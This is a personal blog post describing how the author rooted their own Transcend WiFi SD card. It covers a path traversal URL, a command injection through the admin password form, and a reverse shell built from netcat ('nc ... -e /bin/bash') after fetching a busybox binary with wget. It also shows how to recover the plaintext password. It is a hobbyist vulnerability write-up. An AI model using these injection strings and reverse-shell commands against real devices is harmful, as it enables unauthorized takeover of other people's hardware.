Sunday, August 11, 2013

Hacking Transcend WiFi SD Cards

I am a recent and proud owner of a Transcend WiFi SD card. It allows me to transfer pictures taken with my DSLR (which, being a NEX, is quite portable) to any wifi-enabled device in a matter of seconds. Since I love taking and sharing pictures while on the go, an SD card which can wirelessly transfer pictures to my phone seemed like a good solution. And it was! (and still is). The mobile apps could.. no, should be improved quite a bit (why download a 7MB image once to render it, only to download it AGAIN when tapping "download"?), but hey, it gets the job done!

I was instantly amazed by the obvious fact that this small device can not only store 16GB -there's even a 32GB version available- in such a tiny space, but is an embedded system fully capable of running applications, including a webserver, communicating with other devices over WiFi, and even powering its own wireless network. But enough with the chatter: can we make this device do more than what it was designed to?

This post is written with the intention of exposing not only the exploits which will allow you to root (or jailbreak) the device, but also the process of discovering and exploiting bugs, some of which are a dead end, while others lead to theholy root B-)

Prepare for the Hax

I suspected from the beginning that the card contained some sort of embedded Linux system. If so, extending its functionality could be quite easy! But first I would need to take control of the system. I had only used the Android and iOS apps with it so far, but it was obvious that the easiest solution for interfacing with PCs would be a web app. The following thought came to my mind immediately: 

"If the mobile apps are so crappy, then so must be the webapp/webserver... maybe it is full of bugs, ready to be exploited."

Boy, was I right!
As soon as you connect to the webserver (the card has IP 192.168.11.254, default login admin/admin), you get the same crappy feeling as when using the mobile apps. Bad "user feeling", good "hacker feeling". While many use powerful tools such as scanners and fuzzers for discovering vulneratiblities, the security of this system was so low that I could find bugs to exploit just by poking around. 

The section called "Files" stands out, as it allows you to browse through the SD card. Unfortunately, it doesn't allow you to go to the parent directory of the root of the SD card. Or does it? That would certainly be helpful, as we could then see how the system works internally, gain more information about it, maybe even run some code through the web interface if we're lucky. You'll notice that the link which shows "Parent Directory" points to the following URL (%2F is the url-encoded form of the forward slash character "/"):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

So let's just try browsing /www by navigating to http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww 
Turns out that doesn't work. browsing /,  /bin, /etc, or any other directory fails. Awww, :( no luck. That would have been too easy! Well, turns out it is not much more difficult, as the programmers were really careless. Navigating to ?dir=/www/sd/../.. should be the same as /, and it works!



Whoa, that was embarrassing! Looks like the programmers made sure paths begin with /www/sd, but didn't check for the obvious parent directory "../". This way, we can browse any file of the embedded system. Of course, clicking the files won't execute them, just download them, which is already a huge deal! 

After navigating the filesystem and downloading scripts, it is obvious, and not surprising, that this system is usingbusybox, as most binary files are the same size, hinting that they are symlinks to the busybox executable. However, many aren't, such as most of the scripts under /www/cgi-bin. These are probably the most interesting, since they are the ones we can run by simply pointing our browser to them. 

Let the Hax begin

This looks promising! Now that we can access the internals of the system, even if in read-only mode, gives us a huge advantage, because we can study it and look for bugs to exploit :) 
It doesn't take long to go over some of the scripts and catch exploitable bugs. All of them are Perl scripts, by the way. Perl has a nice feature when opening a file with the open() library call, because it not only opens files, but runs programs if the file path is not a path, but a shell command ending in a pipe. Such as open("cat /etc/passwd |"). Another misuse of open() would be to write a new file at a different location, or overwrite an existing file, so we can write our own code and run it afterwards. Let's see if any of the files are exploitable!

One file in particular stands out, because it contains an open() call which includes a user-supplied variable.kcard_upload.pl contains the following statements:


In fact, this file isn't really used at all in the web application! kcard_upload.pl is hidden to users, but it is still there, fully accessible under the cgi-bin directory. We can run it just by pointing our browser to it. Now this would be doubly embarrassing, having an exploitable script which isn't even used! But is it exploitable?
By reading the code in kcard_upload.pl, I can tell that there are three challenges that makes controlling the contents of variable $basename difficult.

The first is that $basename isn't really directly supplied by the user, because it is the result of calling GetBasename($upfile). $upfile IS directly supplied by the user (i.e. an attacker). More precisely, it is the file path of the HTML form which asks you to select a file to upload. But if we submit a path, GetBasename will only return the file name at the end of the path, stripping away the rest. That makes directory traversal (such as the ../../ trick from before) impossible.

The second is that $basename is transformed by the script into uppercase characters, so whatever we pass along will be converted to uppercase, which limits our strategies. 

The third challenge is that the script kcard_upload.pl only allows PNG, JPG, BMP, and GIF files to be uploaded. 

So is this a dead end? Not so fast! 

If you look at the code more carefully, you will realize that although the programmers intended to limit uploaded file types to those mentioned above, they only really check for files containing those extensions, not ending in them. 


In addition, the regular expression does not really check for a dot, as in regular expressions a dot stands for any character except newlines. The dot should have been escaped with a "\". I guess the programmers intended to write /\.GIF$/, but only wrote /.GIF/, so we can bypass this limitation by including any of those three-character combinations at any position of our supplied path. Such as /hi/helPNGlo/asdf.something. Hardly an inconvenience!

As far as transforming our path to upper case is concerned, maybe we can no longer call any system commands (as most are not upper case), but maybe we can still upload new files, maybe putting in this way our own scripts into the system. And we don't really care if those scripts have a file name which is upper case or lower case.

Finally, if you'll recall, our path is transformed by GetBasename() before it is stored in the variable $basename. What GetBasename() does is split up the path and take only the filename at the end. So /path/to/file.txt would become simply file.txt. This is bad, because it means we can no longer manipulate the path, and put something like "../../bin/our-malicious.script" because it will always end up as "our-malicious.script" and stored in DCIM/198_WIFI/ :_(



Except, again, the code in GetBasename() contains a bug which is exploitable :_)
The code basically considers two cases: that the user-supplied path is made of windows-style backward-slashes, and that the path is made of forward slashes (used by every OS except windows). Or rather, I should say that's the behaviour that was intended! What it really does, is check whether it contains a backward slash, and then assumes that it must be a windows path (backward slash separators), so it splits according to backward slashes. It doesn't really check if the path is made of forward slashes! So, given the following path:

/this/part/gets/discarded\/this/path/is/used

Since it contains one backward slash (which is a legal character), it assumes it must be a windows path, so we end up having a basename which is not really a base name, but actually a path. In our example, this path would be: /this/path/is/used. 

Et voilĂ ! A path such as /PNG/something\/../../our-malicious.script will bypass all measures and be written to the location of our choosing B-). That's the good news. The bad news is that none of this will actually work. Ouch! That's because the script incorrectly assumes that ../DCIM/198_WIFI exists, but since the script is being run from /www/cgi-bin, that is not the case (the correct path should have been ../sd/DCIM/198_WIFI). Sadly, there is nothing we can do about that. It's a bug that is hardcoded into the script. The developers must not have paid much attention to this, as this script isn't supposed to be used by the user (it's hidden, remember?). As far as I know, this is a dead end in spite of our efforts :( Although maybe somebody can come up with an innovative solution.

(In addition, the form which is printed by kcard_upload.pl does not call itself, but calls a binary named wifi_upload, so we would need to do the HTTP POST call ourselves.)

Hax on!

But behold! We can surely see that the code's quality is so bad that there must be tons of other bugs (If you really want to get fancy, I'm sure the /www/cgi-bin/wifi_upload tool, called from kcard_upload.pl, is exploitable with stack and heap overflows because it is littered with strcpy calls). In fact, I haven't looked into most of them. There are other "dead ends" which I came across which I haven't detailed in this post. I will detail one particular bug which stands out and is really easy to exploit:

There are different ways of invoking shell commands directly from a perl script, and if the programmers happen to invoke shell commands in a careless way, maybe we can run our own shell commands! One way to run shell code in a perl script is to use the system() call. It turns out there are plenty of system() calls being made from .pl and .cgi files, but their arguments are hardcoded, so there is not much to manipulate or exploit. Another way to invoke shell code within perl is to use the qx{} expression, but this isn't used anywhere. However, the third way is to use back quotes to surround shell code, which is equivalent to using qx{}. And it turns out there is plenty of that, and they are using user-supplied inputs inside their shell code as well! This means that their shell code is mixed with our own inputs, so it may be possible to exploit to run our own code.

There is one particular line in kcard_save_config_insup.pl which feels like christmas: 


This statement runs whatever command is specified by the variable $update_auth, supplying $LOGIN_USR and $LOGIN_PWD as arguments. Both arguments come straight from a form, which means their values are controllable by us. No checks are being made on their contents! More precisely, it is the form which is displayed when you enter the web interface and click "Settings". You can access this form directly by navigating to http://192.168.11.254/kcard_edit_config_insup.pl. It is the admin user name and password. This means that by choosing a properly crafted password, we can execute code! First, the password must contain a semicolon in order to start a new shell command after the $update_path command has executed. Then it can contain any shell code we want, and finally the password must end with a # symbol (which starts a comment) so everything what comes after it will be ignored (the "> /mnt/mtd/config/ia.passwd" part).

This is easily testable by selecting a password such as: "admin; echo haxx > /tmp/hi.txt #"
The form, however, performs sanity checks and won't allow long passwords and strange characters. Due to the fact that these checks are done in javascript, and not server-side, we can bypass them very easily. I used the Form Editor Chrome extension to get rid of these issues.

After submitting the form, we can easily check if the exploit has been effective by visiting /tmp using the exploit in the beginning of this post. We can even download the file and check that its contents are valid.


Remember to restore your password to "admin", or you will need to reset your card to factory settings after using this exploit (restoring doesn't touch your pics, though).

Got root?

At this point we are not only able to read any file in the embedded system's filesystem, but also execute shell code and write files. However, we are still missing proper shell access. 
Looking at the directory contents of /usr/bin we can tell that there are lots of goodies for us to create a reverse shell: netcat (nc binary), telnet, etc. A reverse shell works by listening for incoming connections on a particular port in our PC, and have the target system connect to it, while running a shell which takes input from that connection, and prints all output over that connection. This is achievable in more ways than you can count with your hands and feet, but the easiest is to invoke netcat:

nc 192.168.11.11 1337 -e /bin/bash

This will tell netcat to connect to our PC (which is assigned the IP 192.168.11.11) on port 1337, and pipe bash through it. Of course, in order to run this you have to use the previously described exploit, changing your password to "admin; nc 192.168.11.11 1337 -e /bin/bash #". Unfortunately, this won't work. So will any trick involving telnet and other tools. Why is that not working? The symlinks for nc, telnet and others are in /usr/bin, and the command syntax is correct! It turns out all of these tools have been disabled in the busybox build which is included in our beloved SD card's embedded Linux :_( We can test this by trying to invoke telnet or netcat and redirecting stdout and stderr to /tmp/hi.txt, with the following command: "nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt". After downloading hi.txt, its contents will read something along the lines of: "nc: applet not found", which means nc is not enabled. Bummer! So are we limited to running commands over that crappy form, and stuck with no networking utils? Of course not! :)

As it happens, wget is used by some transcend scripts, and this utility is enabled. It will allow us to download another fully-fledged busybox binary :))) I'm too lazy to compile one myself, so I got a pre-compiled busybox binary from http://busybox.net/downloads/binaries/latest/. I put the busybox-armv5l binary at my PC's local webserver (my SD card was not configured in Internet mode), so I just ran "wget http://192.168.11.11/busybox-armv5l" using the form exploit in order to download it into the SD card's /www/cgi-bin directory. I also ran "chmod a+x /www/cgi-bin/busybox-armv5l" just to make sure it could be run afterwards. 

Finally, I could get my remote shell! My PC listens at port 1337 by running "nc -vv -l 1337", and the SD card opens a shell on that port by running "/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash". And since that busybox binary has all utilities enabled, we can run "/www/cgi-bin/busybox-armv5l <command>" over the remote shell to get a richer set of shell commands! For instance, "/www/cgi-bin/busybox-armv5l id" will tell us we are already running as root!


Even more Hax

In case you ever forget your password and need to recover it, you could restore the SD card to factory settings (there is a special image which, when deleted, resets the SD card after a reboot). However, you can recover your plaintext password due to a really, really, really careless mistake. There is one of those "hidden" perl scripts, kcard_login.pl, which will do the weirdest login procedure EVAR. It retrieves the password from the wsd.conf file, and then serves javascript code to the user's browser which checks the password for validity. Yes, you read right. The check is done in javascript! 



Which means all you have to do to recover the password in plaintext is to point your browser to http://192.168.11.254/cgi-bin/kcard_login.pl, and see the page's source code. The password will be right there.

Facepalm!